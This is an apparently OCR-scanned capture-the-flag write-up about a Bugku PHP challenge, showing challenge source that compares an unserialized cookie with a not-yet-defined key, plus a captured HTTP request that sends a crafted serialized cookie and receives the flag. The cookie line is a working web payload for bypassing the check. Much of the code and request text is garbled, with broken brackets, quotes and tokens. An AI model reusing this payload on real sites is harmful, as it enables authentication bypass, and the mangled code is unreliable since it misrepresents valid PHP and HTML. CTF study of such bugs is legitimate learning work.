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error_reporting(0) ;

include_once (“flag. php”) ;

$cookie = $ COOKIE[ ISecer’];

if(isset($_GET[ hint’ 1)) {
show_source(_FILE );
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I

elseif (unserialize($cookie) === "S$KEY")

{

]
I

else {
e
<html>
<head>
{meta http—equiv="Content-Type” content="text/html; charset=UTF-8">
{title>Login<{/title>
{link rel="stylesheet” href="admin.css” type="text/css”>
{/head>
<body>
<br>
{div class="container” align="center”>
{form method="POST” action="#">
{p><{input name="user” type="text” placeholder="Username”><{/p>
{p><{input name="password” type="password” placeholder="Password”></p>
{p><{input value="Login” type="button”/><{/p>
{/form>
/div>
</body>
</html>

echo “$flag”;

<?php
}
$KEY=" ISecer :www. isecer. com ;

?>
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Request Response
JRaw T Params T Headers T Hex 1 J RawT Headers I Hex 1
GET Mlagphp/ HTTF/ 1 : HTTR/ .1 200 OK
Host: 120.24.86.145:8002 Server: nginx
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:61.0) Gecko/20100101 Date: Maon, 13 Aug 2018 07:54:40 GMT
Firefox/51.0 Content-Type: text/html
Accept: text/html application/xhtml+xml application/xml,g=0.9 */*,q=0.8 Connection: close
Accept-Language: zh-CN,zh;e=0.8,zh-TW;q=0.7 zh-HK;g=0.5 &n-US;q=0.3 en;g=0.2 Content-Length: 27
Accept-Encoding: gzip, deflate
Referer: http:/ictf. bugku.com/challenges flag{unserialize_by_virink}

Connection: close
cookie:|Secer=s:0:""%3B
Upgrade-Insecure-Requests: 1
Cache-Contral: max-age=0
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